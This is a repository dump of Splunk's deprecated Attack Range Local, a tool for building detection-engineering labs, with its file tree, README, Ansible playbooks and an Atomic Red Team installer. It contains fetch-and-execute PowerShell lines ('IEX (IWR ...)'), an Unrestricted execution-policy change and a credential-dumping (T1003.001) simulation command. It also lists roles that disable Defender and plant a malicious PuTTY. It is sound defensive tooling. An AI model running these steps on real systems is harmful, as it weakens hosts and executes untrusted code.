├── .gitignore ├── LICENSE ├── README.md ├── ansible ├── ansible.cfg ├── atomic_red_team.yml ├── caldera_server.yml ├── kali_linux.yml ├── phantom_server.yml ├── roles │ ├── atomic_red_team │ │ ├── files │ │ │ └── Install-AtomicRedTeam.ps1 │ │ └── tasks │ │ │ ├── main.yml │ │ │ ├── run_art_test.yml │ │ │ └── run_specific_atomics.yml │ ├── caldera │ │ ├── files │ │ │ ├── go-bin.sh │ │ │ └── go-path.sh │ │ ├── tasks │ │ │ ├── caldera.yml │ │ │ ├── daemonize.yml │ │ │ ├── go.yml │ │ │ └── main.yml │ │ ├── templates │ │ │ ├── local.yml.j2 │ │ │ └── systemd-caldera.service.j2 │ │ └── vars │ │ │ └── main.yml │ ├── kali_linux │ │ ├── files │ │ │ ├── PsExec64.exe │ │ │ ├── attack.service │ │ │ ├── commands.rc │ │ │ ├── meterpreter.rc │ │ │ └── run_metasploit.py │ │ └── tasks │ │ │ ├── main.yml │ │ │ └── setup.yml │ ├── linux_common │ │ ├── tasks │ │ │ ├── disable-dnssec.yml │ │ │ ├── main.yml │ │ │ └── set-hostname.yml │ │ └── templates │ │ │ └── disable-dnssec.conf.j2 │ ├── phantom │ │ ├── README.md │ │ └── tasks │ │ │ ├── configure_phantom.yml │ │ │ ├── install_phantom.yml │ │ │ └── main.yml │ ├── search_head │ │ ├── README.md │ │ ├── files │ │ │ ├── authorize.conf │ │ │ ├── datamodels.conf │ │ │ ├── hec_inputs.conf │ │ │ ├── indexes.conf │ │ │ ├── ingestion_setup.py │ │ │ ├── inputs.conf │ │ │ ├── limits.conf │ │ │ ├── log_review.conf │ │ │ ├── macros.conf │ │ │ ├── outputs.conf │ │ │ ├── proxy.conf │ │ │ ├── proxy_setup.py │ │ │ ├── savedsearches.conf │ │ │ ├── savedsearches_DA-ESS-NetworkProtection.conf │ │ │ ├── savedsearches_DA-ESS-ThreatIntelligence.conf │ │ │ ├── savedsearches_SA-AccessProtection.conf │ │ │ ├── savedsearches_SA-AuditAndDataProtection.conf │ │ │ ├── savedsearches_SA-EndpointProtection.conf │ │ │ ├── savedsearches_SA-NetworkProtection.conf │ │ │ ├── savedsearches_SA-ThreatIntelligence.conf │ │ │ ├── server.conf │ │ │ ├── serverclass.conf │ │ │ ├── user-prefs.conf │ │ │ └── web.conf │ │ ├── handlers │ │ │ └── main.yml │ │ ├── tasks │ │ │ ├── configure_hec.yml │ │ │ ├── configure_indexes.yml │ │ │ ├── configure_inputs.yml │ │ │ ├── configure_limits.yml │ │ │ ├── configure_server_conf.yml │ │ │ ├── configure_web_conf.yml │ │ │ ├── create_serverclass.yml │ │ │ ├── install_asx_app.yml │ │ │ ├── install_attack_range_dashboard.yml │ │ │ ├── install_aws_app.yml │ │ │ ├── install_botsv1_dataset.yml │ │ │ ├── install_botsv1a_dataset.yml │ │ │ ├── install_botsv2_dataset.yml │ │ │ ├── install_botsv2a_dataset.yml │ │ │ ├── install_botsv3_dataset.yml │ │ │ ├── install_cim_app.yml │ │ │ ├── install_dsp.yml │ │ │ ├── install_enterprise_security.yml │ │ │ ├── install_escu_app.yml │ │ │ ├── install_mc.yml │ │ │ ├── install_mltk_app.yml │ │ │ ├── install_sse_app.yml │ │ │ ├── install_stream_app.yml │ │ │ ├── install_sysmon_ta.yml │ │ │ ├── install_windows_ta.yml │ │ │ ├── main.yml │ │ │ └── splunk.yml │ │ └── templates │ │ │ ├── aws_account_ext.conf.j2 │ │ │ ├── aws_cloudwatch_logs_tasks.conf.j2 │ │ │ ├── aws_inputs.conf.j2 │ │ │ ├── inputs.conf.j2 │ │ │ └── outputs.conf.j2 │ ├── splunk_phantom │ │ ├── files │ │ │ ├── authorize.conf │ │ │ └── phantom.conf │ │ ├── handlers │ │ │ └── main.yml │ │ ├── tasks │ │ │ ├── add_phantom_role.yml │ │ │ ├── install_phantom_app.yml │ │ │ └── main.yml │ │ └── templates │ │ │ └── phantom.j2 │ ├── splunk_phantom_configure │ │ ├── files │ │ │ └── phantom.conf │ │ └── tasks │ │ │ ├── configure_phantom_app.yml │ │ │ └── main.yml │ ├── sysmon │ │ ├── handlers │ │ │ └── main.yml │ │ ├── tasks │ │ │ ├── main.yml │ │ │ ├── windows-logging-registry.yml │ │ │ └── windows-sysmon.yml │ │ └── templates │ │ │ ├── AttackRangeSysmon.xml.j2 │ │ │ ├── SysmonConfig-Neo23x0-server.xml.j2 │ │ │ ├── SysmonConfig-Neo23x0-workstations.xml.j2 │ │ │ ├── SysmonConfig-TSwift.xml.j2 │ │ │ ├── SysmonConfig-TSwift2.xml.j2 │ │ │ ├── SysmonConfig-Verbose.xml.j2 │ │ │ ├── SysmonConfig-moti.xml.j2 │ │ │ ├── SysmonConfig.xml.j2 │ │ │ └── SysmonConfigCustom.xml.j2 │ ├── windows_caldera_agent │ │ ├── tasks │ │ │ ├── firewall.yml │ │ │ ├── main.yml │ │ │ ├── registry.yml │ │ │ └── windows.yml │ │ ├── templates │ │ │ ├── caldera_agent.ps1.j2 │ │ │ ├── caldera_agent_nosplunk.ps1.j2 │ │ │ ├── caldera_manx_agent.ps1.j2 │ │ │ └── caldera_manx_agent_nosplunk.ps1.j2 │ │ └── vars │ │ │ └── main.yml │ ├── windows_common │ │ └── tasks │ │ │ ├── main.yml │ │ │ ├── set-hostname.yml │ │ │ ├── set-timezone.yml │ │ │ ├── windows-disable-defender.yml │ │ │ ├── windows-enable-4688-cmd-line-audit.yml │ │ │ ├── windows-enable-ps-logging.yml │ │ │ └── windows-security-configure-logging.yml │ ├── windows_dns_server │ │ └── tasks │ │ │ ├── features.yml │ │ │ ├── main.yaml │ │ │ └── reboot.yml │ ├── windows_domain_client │ │ ├── files │ │ │ └── join_domain.ps1 │ │ └── tasks │ │ │ ├── copy_malicious_putty.yml │ │ │ ├── create.yml │ │ │ └── main.yaml │ ├── windows_domain_controller │ │ └── tasks │ │ │ ├── create.yml │ │ │ └── main.yaml │ └── windows_universal_forwarder │ │ ├── files │ │ ├── atomic_red_team_execution_inputs.conf │ │ ├── nxlog.conf │ │ ├── nxlog_inputs.conf │ │ ├── powershell_inputs.conf │ │ ├── sysmon_inputs.conf │ │ └── win_event_log_inputs.conf │ │ ├── tasks │ │ ├── collect_attack_simulation_logs.yml │ │ ├── collect_nxlog_logs.yml │ │ ├── collect_powershell_logs.yml │ │ ├── collect_sysmon_logs.yml │ │ ├── collect_windows_event_logs.yml │ │ ├── configure_outputs.yml │ │ ├── create_deploymentclient.yml │ │ ├── install_nxlog.yml │ │ ├── install_splunk_uf.yml │ │ └── main.yml │ │ └── templates │ │ ├── deploymentclient.conf.j2 │ │ ├── inputs.conf.j2 │ │ └── outputs.conf.j2 ├── splunk_server.yml ├── windows_dc.yml ├── windows_dc_client.yml └── windows_workstation.yml ├── apps └── .gitkeep ├── attack_data ├── .gitkeep └── dumps.yml ├── attack_range_local.conf ├── attack_range_local.py ├── deploy_attack_range.sh ├── docs ├── CONTRIBUTING.md └── attack_range_local_architecture.png ├── modules ├── CustomConfigParser.py ├── VagrantController.py ├── logger.py └── splunk_sdk.py ├── requirements.txt └── vagrant ├── caldera-server └── Vagrantfile ├── kali-machine └── Vagrantfile ├── phantom-server └── Vagrantfile ├── splunk_server └── Vagrantfile ├── windows-domain-controller └── Vagrantfile ├── windows-server └── Vagrantfile └── windows10 └── Vagrantfile /.gitignore: -------------------------------------------------------------------------------- 1 | 2 | # ignore appbinaries directory we don't want this uploaded 3 | ansible/roles/*/files/splunk*.tgz 4 | ansible/roles/*/files/splunk*.msi 5 | ansible/vars/vars.yml 6 | *.idea 7 | 8 | # attack data folder 9 | attack_data/* 10 | !attack_data/.gitkeep 11 | !attack_data/dumps.yml 12 | 13 | # apps folder 14 | apps/* 15 | !apps/.gitkeep 16 | 17 | # log file 18 | attack_range.log 19 | .attack_range_local/artifacts 20 | artifacts 21 | 22 | ## Terraform ignores 23 | # Local .terraform directories 24 | terraform/.terraform/ 25 | 26 | # .tfstate files 27 | *.tfstate 28 | *.tfstate.* 29 | 30 | # Crash log files 31 | crash.log 32 | 33 | # Kubeconfig files 34 | *kubeconfig* 35 | 36 | # Ignore any .tfvars files that are generated automatically for each Terraform run. Most 37 | # .tfvars files are managed as part of configuration and so should be included in 38 | # version control. 39 | # 40 | # example.tfvars 41 | 42 | # Ignore override files as they are usually used to override resources locally and so 43 | # are not checked in 44 | override.tf 45 | override.tf.json 46 | *_override.tf 47 | *_override.tf.json 48 | 49 | # Include override files you do wish to add to version control using negated pattern 50 | # 51 | # !example_override.tf 52 | 53 | # Include tfplan files to ignore the plan output of command: terraform plan -out=tfplan 54 | # example: *tfplan* 55 | # 56 | 57 | # dont want entire box files 58 | # # Vagrant stuff 59 | acceptance_config.yml 60 | boxes/* 61 | .vagrant 62 | /website/.vagrant 63 | /website/build 64 | /vagrant-spec.config.rb 65 | test/vagrant-spec/.vagrant/ 66 | vagrant/Vagrantfile 67 | 68 | # packer cache 69 | packer/packer_cache 70 | 71 | # usual mac files 72 | .DS_Store 73 | 74 | # Byte-compiled / optimized / DLL files 75 | __pycache__/ 76 | *.py[cod] 77 | *$py.class 78 | 79 | # C extensions 80 | *.so 81 | 82 | # Distribution / packaging 83 | .Python 84 | build/ 85 | develop-eggs/ 86 | dist/ 87 | downloads/ 88 | eggs/ 89 | .eggs/ 90 | lib/ 91 | lib64/ 92 | parts/ 93 | sdist/ 94 | var/ 95 | wheels/ 96 | *.egg-info/ 97 | .installed.cfg 98 | *.egg 99 | MANIFEST 100 | 101 | # PyInstaller 102 | # Usually these files are written by a python script from a template 103 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 104 | *.manifest 105 | 106 | # Installer logs 107 | pip-log.txt 108 | pip-delete-this-directory.txt 109 | 110 | # Unit test / coverage reports 111 | htmlcov/ 112 | .tox/ 113 | .coverage 114 | .coverage.* 115 | .cache 116 | nosetests.xml 117 | coverage.xml 118 | *.cover 119 | .hypothesis/ 120 | .pytest_cache/ 121 | 122 | # Translations 123 | *.mo 124 | *.pot 125 | 126 | # Django stuff: 127 | *.log 128 | local_settings.py 129 | db.sqlite3 130 | 131 | # Flask stuff: 132 | instance/ 133 | .webassets-cache 134 | 135 | # Scrapy stuff: 136 | .scrapy 137 | 138 | # Sphinx documentation 139 | docs/_build/ 140 | 141 | # PyBuilder 142 | target/ 143 | 144 | # Jupyter Notebook 145 | .ipynb_checkpoints 146 | 147 | # pyenv 148 | .python-version 149 | 150 | # celery beat schedule file 151 | celerybeat-schedule 152 | 153 | # SageMath parsed files 154 | *.sage.py 155 | 156 | # Environments 157 | .env 158 | .venv 159 | env/ 160 | venv/ 161 | ENV/ 162 | env.bak/ 163 | venv.bak/ 164 | 165 | # Spyder project settings 166 | .spyderproject 167 | .spyproject 168 | 169 | # Rope project settings 170 | .ropeproject 171 | 172 | # mkdocs documentation 173 | /site 174 | 175 | # mypy 176 | .mypy_cache/ 177 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | # Attack Range Local Has been Deprecated and Archived in Favor of https://github.com/splunk/attack_range 4 | Thank you to all of our users for their feedback, bug reports, and contributions to the project. As of May 8, 2023, Attack Range Local has been deprecated and archived. 5 | 6 | ## But I Still Want to Run a Local Attack Range! 7 | Great News! https://github.com/splunk/attack_range now supports deploying Attack Range Locally (just like this repo used to). It's a one-stop-shop for all of your simulation needs. That repo brings the functionality of Attack Range Local and Attack Range Cloud into the Attack Range Repo. It is actively maintained and in use by the Splunk Threat Research Team on a daily basis. 8 | 9 | 10 | 11 | 12 | # Splunk Attack Range Local (Do Not Use for New Projects)⚔️ 13 | ## Purpose 🛡 14 | The Attack Range is a detection development platform, which solves three main challenges in detection engineering. First, the user is able to build quickly a small lab infrastructure as close as possible to a production environment. Second, the Attack Range performs attack simulation using different engines such as Atomic Red Team or Caldera in order to generate real attack data. Third, it integrates seamlessly into any Continuous Integration / Continuous Delivery (CI/CD) pipeline to automate the detection rule testing process. 15 | 16 | ## Building 👷‍♂️ 17 | 18 | Attack Range can be built in three different ways: 19 | 20 | - **locally** with vagrant and virtualbox 21 | - **cloud** using terraform and AWS or Azure, see [attack_range](https://github.com/splunk/attack_range) 22 | - **cloud-only** see [attack_range_cloud](https://github.com/splunk/attack_range_cloud/) 23 | 24 | ## Installation 🏗 25 | 26 | ### [For Ubuntu 18.04](https://github.com/splunk/attack_range_local/wiki/Ubuntu-18.04-Installation) 27 | 28 | ### [For MacOS](https://github.com/splunk/attack_range_local/wiki/MacOS-Installation) 29 | 30 | ## Architecture 🏯 31 | ![Logical Diagram](docs/attack_range_local_architecture.png) 32 | 33 | The virtualized deployment of Attack Range consists of: 34 | 35 | - Windows Domain Controller 36 | - Windows Server 37 | - Windows Workstation 38 | - A Kali Machine 39 | - Splunk Server 40 | - Phantom Server 41 | - Caldera Server 42 | 43 | Which can be added/removed/configured using [attack_range_local.conf](attack_range_local.conf). More machines such as Phantom, Linux server, Linux client, MacOS clients are currently under development. 44 | 45 | 46 | #### Logging 47 | The following log sources are collected from the machines: 48 | 49 | - Windows Event Logs (```index = win```) 50 | - Sysmon Logs (```index = win```) 51 | - Powershell Logs (```index = win```) 52 | - Network Logs with Splunk Stream (```index = main```) 53 | - Attack Simulation Logs from Atomic Red Team and Caldera (```index = attack```) 54 | 55 | 56 | ## Running 🏃‍♀️ 57 | Attack Range supports different actions: 58 | 59 | - Build Attack Range 60 | - Perform Attack Simulation 61 | - Destroy Attack Range 62 | - Stop Attack Range 63 | - Resume Attack Range 64 | - Dump Attack Data 65 | 66 | ### Build Attack Range Local 67 | - Build Attack Range Local 68 | ``` 69 | python attack_range_local.py -a build 70 | ``` 71 | 72 | ### Perform Attack Simulation 73 | - Perform Attack Simulation 74 | ``` 75 | python attack_range_local.py -a simulate -st T1003.001 -t attack-range-windows-domain-controller 76 | ``` 77 | 78 | ### Show Attack Range Status 79 | - Show Attack Range Status 80 | ``` 81 | python attack_range_local.py -lm 82 | ``` 83 | 84 | ### Destroy Attack Range Local 85 | - Destroy Attack Range Local 86 | ``` 87 | python attack_range_local.py -a destroy 88 | ``` 89 | 90 | ### Stop Attack Range Local 91 | - Stop Attack Range Local 92 | ``` 93 | python attack_range_local.py -a stop 94 | ``` 95 | 96 | ### Resume Attack Range Local 97 | - Resume Attack Range Local 98 | ``` 99 | python attack_range_local.py -a resume 100 | ``` 101 | 102 | ## Dump Attack Data 103 | - Dump Attack Range Data 104 | ``` 105 | python attack_range_local.py -a dump -dn dump_data_folder 106 | ``` 107 | 108 | ## Features 💍 109 | - [Splunk Server](https://github.com/splunk/attack_range/wiki/Splunk-Server) 110 | * Indexing of Microsoft Event Logs, PowerShell Logs, Sysmon Logs, DNS Logs, ... 111 | * Preconfigured with multiple TAs for field extractions 112 | * Out of the box Splunk detections with Enterprise Security Content Update ([ESCU](https://splunkbase.splunk.com/app/3449/)) App 113 | * Preinstalled Machine Learning Toolkit ([MLTK](https://splunkbase.splunk.com/app/2890/)) 114 | * Splunk UI available through port 8000 with user admin 115 | * ssh connection over configured ssh key 116 | 117 | - Bring Your Own Splunk Server 118 | * Send events to your own Splunk Server instance 119 | * Allows integration of automated attacks into your own detection engineering lifecycle 120 | 121 | 122 | - [Splunk Enterprise Security](https://splunkbase.splunk.com/app/263/) 123 | * [Splunk Enterprise Security](https://splunkbase.splunk.com/app/263/) is a premium security solution requiring a paid license. 124 | * Enable or disable [Splunk Enterprise Security](https://splunkbase.splunk.com/app/263/) in [attack_range_local.conf](attack_range_local.conf) 125 | * Purchase a license, download it and store it in the apps folder to use it. 126 | 127 | - [Splunk Phantom](https://www.splunk.com/en_us/software/splunk-security-orchestration-and-automation.html) 128 | * [Splunk Phantom](https://www.splunk.com/en_us/software/splunk-security-orchestration-and-automation.html) is a Security Orchestration and Automation platform 129 | * For a free development license (100 actions per day) register [here](https://my.phantom.us/login/?next=/) 130 | * Enable or disable [Splunk Phantom](https://www.splunk.com/en_us/software/splunk-security-orchestration-and-automation.html) in [attack_range_local.conf](attack_range_local.conf) 131 | 132 | - [Windows Domain Controller & Window Server & Windows 10 Client](https://github.com/splunk/attack_range/wiki/Windows-Infrastructure) 133 | * Can be enabled, disabled and configured over [attack_range_local.conf](attack_range_local.conf) 134 | * Collecting of Microsoft Event Logs, PowerShell Logs, Sysmon Logs, DNS Logs, ... 135 | * Sysmon log collection with customizable Sysmon configuration 136 | * RDP connection over port 3389 with user Administrator 137 | 138 | - [Atomic Red Team](https://github.com/redcanaryco/atomic-red-team) 139 | * Attack Simulation with [Atomic Red Team](https://github.com/redcanaryco/atomic-red-team) 140 | * Will be automatically installed on target during first execution of simulate 141 | * Atomic Red Team already uses the new Mitre sub-techniques 142 | 143 | - [Caldera](https://github.com/mitre/caldera) 144 | * Adversary Emulation with [Caldera](https://github.com/mitre/caldera) 145 | * Installed on the Splunk Server and available over port 8888 with user admin 146 | * Preinstalled Caldera agents on windows machines 147 | 148 | - [Kali Linux](https://www.kali.org/) 149 | * Preconfigured Kali Linux machine for penetration testing 150 | * ssh connection over configured ssh key 151 | 152 | 153 | ## Support 📞 154 | Please use the [GitHub issue tracker](https://github.com/splunk/attack_range_local/issues) to submit bugs or request features. 155 | 156 | If you have questions or need support, you can: 157 | 158 | * Post a question to [Splunk Answers](http://answers.splunk.com) 159 | * Join the [#security-research](https://splunk-usergroups.slack.com/archives/C1S5BEF38) room in the [Splunk Slack channel](http://splunk-usergroups.slack.com) 160 | * If you are a Splunk Enterprise customer with a valid support entitlement contract and have a Splunk-related question, you can also open a support case on the https://www.splunk.com/ support portal 161 | 162 | ## Contributing 🥰 163 | We welcome feedback and contributions from the community! Please see our [contribution guidelines](docs/CONTRIBUTING.md) for more information on how to get involved. 164 | 165 | ## Author 166 | * [Jose Hernandez](https://twitter.com/d1vious) 167 | * [Patrick Bareiß](https://twitter.com/bareiss_patrick) 168 | 169 | ## Contributors 170 | * [Bhavin Patel](https://twitter.com/hackpsy) 171 | * [Rod Soto](https://twitter.com/rodsoto) 172 | * Russ Nolen 173 | * Phil Royer 174 | * [Joseph Zadeh](https://twitter.com/JosephZadeh) 175 | * Rico Valdez 176 | * [Dimitris Lambrou](https://twitter.com/etz69) 177 | * [Dave Herrald](https://twitter.com/daveherrald) 178 | * [Kai Seidenschnur](https://www.linkedin.com/in/kai-seidenschnur-ab42889a) 179 | 180 | 181 | ## License 182 | 183 | Copyright 2020 Splunk Inc. 184 | 185 | Licensed under the Apache License, Version 2.0 (the "License"); 186 | you may not use this file except in compliance with the License. 187 | You may obtain a copy of the License at 188 | 189 | http://www.apache.org/licenses/LICENSE-2.0 190 | 191 | Unless required by applicable law or agreed to in writing, software 192 | distributed under the License is distributed on an "AS IS" BASIS, 193 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 194 | See the License for the specific language governing permissions and 195 | limitations under the License. 196 | -------------------------------------------------------------------------------- /ansible/ansible.cfg: -------------------------------------------------------------------------------- 1 | [defaults] 2 | roles_path = roles 3 | retry_files_enabled = False # Do not create them 4 | deprecation_warnings=False 5 | ask_pass=False 6 | -------------------------------------------------------------------------------- /ansible/atomic_red_team.yml: -------------------------------------------------------------------------------- 1 | - hosts: all 2 | gather_facts: False 3 | vars: 4 | ansible_connection: winrm 5 | ansible_port: 5986 6 | # ansible_winrm_transport: basic 7 | ansible_winrm_server_cert_validation: ignore 8 | # ansible_winrm_read_timeout_sec: 600 9 | roles: 10 | - atomic_red_team 11 | -------------------------------------------------------------------------------- /ansible/caldera_server.yml: -------------------------------------------------------------------------------- 1 | - hosts: all 2 | gather_facts: False 3 | become: true 4 | vars: 5 | hostname: caldera-server 6 | roles: 7 | - linux_common 8 | - caldera 9 | -------------------------------------------------------------------------------- /ansible/kali_linux.yml: -------------------------------------------------------------------------------- 1 | - hosts: all 2 | gather_facts: False 3 | become: true 4 | roles: 5 | - kali_linux 6 | -------------------------------------------------------------------------------- /ansible/phantom_server.yml: -------------------------------------------------------------------------------- 1 | - hosts: all 2 | gather_facts: False 3 | become: true 4 | roles: 5 | - phantom 6 | -------------------------------------------------------------------------------- /ansible/roles/atomic_red_team/files/Install-AtomicRedTeam.ps1: -------------------------------------------------------------------------------- 1 | #Requires -RunAsAdministrator 2 | [CmdletBinding()] 3 | Param( 4 | [Parameter(Mandatory=$False,Position=0)] 5 | [string]$InstallPath = 'C:\AtomicRedTeam', 6 | 7 | [Parameter(Mandatory=$False,Position=0)] 8 | [string]$DownloadPath = 'C:\AtomicRedTeam' 9 | 10 | ) 11 | 12 | function Install-AtomicRedTeam { 13 | <# 14 | .SYNOPSIS 15 | 16 | This is a simple script to download and install Atomic Red Team Invoke-AtomicRedTeam Powershell Framework. 17 | 18 | Atomic Function: Install-AtomicRedTeam 19 | Author: Red Canary Research 20 | License: MIT License 21 | Required Dependencies: powershell-yaml 22 | Optional Dependencies: None 23 | 24 | .PARAMETER DownloadPath 25 | 26 | Specifies the desired path to download Atomic Red Team. 27 | 28 | .PARAMETER InstallPath 29 | 30 | Specifies the desired path for where to install Atomic Red Team. 31 | 32 | .EXAMPLE 33 | 34 | Install Atomic Red Team 35 | PS> Install-AtomicRedTeam.ps1 36 | 37 | .EXAMPLE 38 | 39 | Execute a single test 40 | $T1117 = Get-AtomicTechnique -Path ..\..\atomics\T1117\T1117.yaml 41 | Invoke-AtomicTest $T1117 42 | 43 | .EXAMPLE 44 | 45 | Informational Stream 46 | Invoke-AtomicTest $T1117 -InformationAction Continue 47 | 48 | .EXAMPLE 49 | 50 | Verbose Stream 51 | Invoke-AtomicTest $T1117 -Verbose 52 | 53 | .EXAMPLE 54 | 55 | Debug Stream 56 | Invoke-AtomicTest $T1117 -Debug 57 | 58 | .EXAMPLE 59 | 60 | What if 61 | If you would like to see what would happen without running the test 62 | Invoke-AtomicTest $T1117 -WhatIf 63 | 64 | .EXAMPLE 65 | 66 | 67 | To run all tests without confirming them run using the Confirm switch to false 68 | 69 | Invoke-AtomicTest $T1117 -Confirm:$false 70 | Or you can set your $ConfirmPreference to 'Medium' 71 | 72 | $ConfirmPreference = 'Medium' 73 | Invoke-AtomicTest $T1117 74 | 75 | .EXAMPLE 76 | 77 | Invoke-AllAtomicTests -GenerateOnly 78 | 79 | .NOTES 80 | 81 | Use the '-Verbose' option to print detailed information. 82 | 83 | #> 84 | 85 | 86 | write-verbose "Directory Creation" 87 | 88 | if(!(Test-Path -Path $InstallPath )){ 89 | New-Item -ItemType directory -Path $InstallPath 90 | write-verbose "Setting Execution Policy to Unrestricted" 91 | set-executionpolicy Unrestricted 92 | 93 | write-verbose "Setting variables for remote URL and download Path" 94 | $url = "https://github.com/splunk/atomic-red-team/archive/master.zip" 95 | $path = "$DownloadPath\master.zip" 96 | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 97 | $webClient = new-object System.Net.WebClient 98 | write-verbose "Beginning download from Github" 99 | $webClient.DownloadFile( $url, $path ) 100 | 101 | write-verbose "Extracting ART to C:\AtomicRedTeam\" 102 | Expand-Archive -LiteralPath "$DownloadPath\master.zip" "C:\AtomicRedTeam" 103 | 104 | write-verbose "Installing NuGet PackageProvider" 105 | Install-PackageProvider -Name NuGet -MinimumVersion 2.8.5.201 -Force 106 | 107 | write-verbose "Installing powershell-yaml" 108 | Install-Module -Name powershell-yaml -Force 109 | 110 | write-verbose "Importing invoke-atomicRedTeam module" 111 | Import-Module "C:\AtomicRedTeam\atomic-red-team-master\execution-frameworks\Invoke-AtomicRedTeam\Invoke-AtomicRedTeam\Invoke-AtomicRedTeam.psm1" 112 | 113 | write-verbose "Changing current work directory Invoke-AtomicRedTeam" 114 | cd "C:\AtomicRedTeam\atomic-red-team-master\execution-frameworks\Invoke-AtomicRedTeam\Invoke-AtomicRedTeam\" 115 | 116 | write-verbose "Clearing screen" 117 | clear 118 | 119 | Write-Host "Installation of Invoke-AtomicRedTeam is complete" -Fore Yellow 120 | 121 | } 122 | else 123 | { 124 | Write-Verbose "Atomic Already exists at $InstallPath" 125 | exit 126 | 127 | 128 | } 129 | } 130 | Install-AtomicRedTeam 131 | -------------------------------------------------------------------------------- /ansible/roles/atomic_red_team/tasks/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | # - name: Check we have installed Atomic Red Team 4 | # win_stat: 5 | # path: 'C:\AtomicRedTeam' 6 | # register: atr_folder 7 | 8 | - name: Enable strong dotnet crypto 9 | win_regedit: 10 | key: "{{ item }}" 11 | value: SchUseStrongCrypto 12 | datatype: dword 13 | data: 1 14 | with_items: 15 | - "HKLM:\\SOFTWARE\\Microsoft\\.NetFramework\\v4.0.30319" 16 | - "HKLM:\\SOFTWARE\\Wow6432Node\\Microsoft\\.NetFramework\\v4.0.30319" 17 | 18 | - name: Check installed providers 19 | win_shell: Get-PackageProvider 20 | register: providers 21 | changed_when: false 22 | 23 | - name: Install NuGet Provider 24 | win_shell: | 25 | Install-PackageProvider -Name NuGet -MinimumVersion 2.8.5.201 -Force 26 | when: providers.stdout is not search("NuGet") 27 | 28 | - name: Install Atomic Red Team 29 | win_shell: | 30 | Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Internet Explorer\Main" -Name "DisableFirstRunCustomize" -Value 2 31 | IEX (IWR https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/install-atomicredteam.ps1) 32 | Install-AtomicRedTeam -Force 33 | IEX (IWR 'https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/install-atomicsfolder.ps1' -UseBasicParsing) 34 | Install-AtomicsFolder -Force -RepoOwner "{{ art_repository }}" -Branch "{{ art_branch }}" 35 | 36 | - set_fact: 37 | techniques: "{{ art_run_techniques.split(',') }}" 38 | 39 | - include_tasks: "run_art_test.yml" 40 | with_items: "{{ techniques }}" 41 | when: run_specific_atomic_tests == "False" 42 | 43 | - include_tasks: "run_specific_atomics.yml" 44 | when: run_specific_atomic_tests == "True" 45 | -------------------------------------------------------------------------------- /ansible/roles/atomic_red_team/tasks/run_art_test.yml: -------------------------------------------------------------------------------- 1 | - set_fact: 2 | technique: "{{ item }}" 3 | 4 | - debug: 5 | var: technique 6 | 7 | - name: Get requirements for Atomic Red Team Technique 8 | win_shell: | 9 | Import-Module "C:\AtomicRedTeam\invoke-atomicredteam\Invoke-AtomicRedTeam.psd1" -Force 10 | Invoke-AtomicTest "{{ technique }}" -GetPrereqs 11 | register: requirements 12 | 13 | # - debug: 14 | # var: requirements 15 | 16 | - name: Run specified Atomic Red Team Technique 17 | win_shell: | 18 | Import-Module "C:\AtomicRedTeam\invoke-atomicredteam\Invoke-AtomicRedTeam.psd1" -Force 19 | Invoke-AtomicTest "{{ technique }}" -Confirm:$false -TimeoutSeconds 300 -ExecutionLogPath C:\AtomicRedTeam\atc_execution.csv 20 | register: output 21 | 22 | # - debug: 23 | # var: output 24 | 25 | - name: Cleanup after execution 26 | win_shell: | 27 | Import-Module "C:\AtomicRedTeam\invoke-atomicredteam\Invoke-AtomicRedTeam.psd1" -Force 28 | Invoke-AtomicTest "{{ technique }}" -Cleanup 29 | register: cleanup 30 | 31 | # - debug: 32 | # var: cleanup 33 | -------------------------------------------------------------------------------- /ansible/roles/atomic_red_team/tasks/run_specific_atomics.yml: -------------------------------------------------------------------------------- 1 | - set_fact: 2 | test: "{{ art_run_tests }}" 3 | 4 | - debug: 5 | var: art_run_techniques 6 | 7 | - debug: 8 | var: test 9 | 10 | - name: Get requirements for Atomic Red Team Technique 11 | win_shell: | 12 | Import-Module "C:\AtomicRedTeam\invoke-atomicredteam\Invoke-AtomicRedTeam.psd1" -Force 13 | Invoke-AtomicTest "{{ art_run_techniques }}" -TestName "{{ test }}" -GetPrereqs 14 | register: requirements 15 | 16 | # - debug: 17 | # var: requirements 18 | 19 | - name: Run specified Atomic Red Team Technique 20 | win_shell: | 21 | Import-Module "C:\AtomicRedTeam\invoke-atomicredteam\Invoke-AtomicRedTeam.psd1" -Force 22 | Invoke-AtomicTest "{{ art_run_techniques }}" -TestName "{{ test }}" -Confirm:$false -TimeoutSeconds 300 -ExecutionLogPath C:\AtomicRedTeam\atc_execution.csv 23 | register: output 24 | 25 | # - debug: 26 | # var: output 27 | 28 | - name: Cleanup after execution 29 | win_shell: | 30 | Import-Module "C:\AtomicRedTeam\invoke-atomicredteam\Invoke-AtomicRedTeam.psd1" -Force 31 | Invoke-AtomicTest "{{ art_run_techniques }}" -TestName "{{ test }}" -Cleanup 32 | register: cleanup 33 | 34 | # - debug: 35 | # var: cleanup 36 | -------------------------------------------------------------------------------- /ansible/roles/caldera/files/go-bin.sh: -------------------------------------------------------------------------------- 1 | export PATH=$PATH:/usr/local/go/bin 2 | -------------------------------------------------------------------------------- /ansible/roles/caldera/files/go-path.sh: -------------------------------------------------------------------------------- 1 | export GOPATH=$HOME/go 2 | export PATH=$GOPATH/bin:$PATH 3 | -------------------------------------------------------------------------------- /ansible/roles/caldera/tasks/caldera.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - name: Ensure caldera dependencies are present 4 | apt: 5 | name: "{{ item }}" 6 | state: present 7 | update_cache: yes 8 | with_items: "{{ caldera_pkg }}" 9 | register: pkg_result 10 | until: pkg_result is success 11 | 12 | - name: ensure caldera user exists 13 | user: 14 | name: "{{ caldera_user }}" 15 | home: "{{ caldera_home }}" 16 | shell: /bin/bash 17 | 18 | - name: Ensure recent pip & setuptools in virtualenv 19 | pip: 20 | name: "{{ item }}" 21 | state: present 22 | virtualenv: "{{ caldera_home }}/env-caldera" 23 | virtualenv_python: "{{ python }}" 24 | with_items: 25 | - pip 26 | - setuptools 27 | register: pkg_result 28 | until: pkg_result is success 29 | 30 | - name: git clone caldera 31 | git: 32 | repo: https://github.com/mitre/caldera.git 33 | dest: "{{ 